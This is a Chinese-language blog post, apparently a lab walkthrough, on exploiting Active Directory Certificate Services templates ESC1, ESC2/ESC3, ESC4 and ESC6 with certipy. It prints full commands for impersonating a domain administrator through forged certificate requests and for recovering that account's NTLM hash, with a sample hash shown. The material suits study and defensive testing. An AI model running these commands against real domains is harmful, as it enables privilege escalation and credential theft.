ADCS - exploitation
续上上次ESC8的内容,补全ADCS exploitation
ADCS - ESC1
•枚举
sudo certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12
Find Misconfigured Certificate Templates (ESC1)
•查询证书•target: ca server•tempalte : the vulnerable template•upn : the target user we want to impersonate
首先通过 Certipy 在 khal.drogo 用户的上下文中指定证书模板,为该用户申请证书,生成的证书将保存在 .pfx 格式的文件中
sudo certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn [email protected]
#使用颁发的证书对 KDC 进行 PKINIT Kerberos 身份验证,并获取该用户的 TGT 票据,使用得到的private key认证
sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
'[email protected]': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da
ADCS - ESC2 & ESC3
“ESC2 是证书模板证书可用于任何目的,与 ESC3 相同的技术。”
使用 ESC2 来区分这两种攻击
•查询cert
sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA
•使用刚得到的Certificate Request Agent certificate继续查询
sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essosadministrator' -pfx khal.drogo.pfx
•认证
sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
用ESC3-CRA和ESC3
sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3-CRA -ca ESSOS-CA
sudo certipy req -u [email protected] -p 'horse' -target 192.168.56.23 -template ESC3 -ca ESSOS-CA -on-behalf-of 'essosadministrator' -pfx khal.drogo.pfx
sudo certipy auth -pfx administrator.pfx -username administrator -domain essos.local -dc-ip 192.168.56.12
ADCS - ESC4
•获取 ESC4 模板并使用我们获得的 genericWrite 权限更改为 ESC1 。
sudo certipy template -u [email protected] -p 'horse' -template ESC4 -save-old -debug
•基于修改的ESC4模板上利用ESC1
sudo certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn [email protected]
•使用pfx认证
sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
•回滚模板设置
sudo certipy template -u [email protected] -p 'horse' -template ESC4 -configuration ESC4.json
ADCS - ESC6
ESC6 是 CA 指定 EDITF_ATTRIBUTESUBJECTALTNAME2 标志时。尽管有证书模板的配置,此标志允许登记者在所有证书上指定任意 SAN。
•因为 ESSOS-CA 可以用 ESC6 的攻击,即使用户模板将 Enrollee Supplies Subject 设置为 false,也能进行 ESC1 攻击。
sudo certipy req -u [email protected] -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn [email protected]
sudo certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
原文始发于微信公众号(wulala520):ADCS - exploitation
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论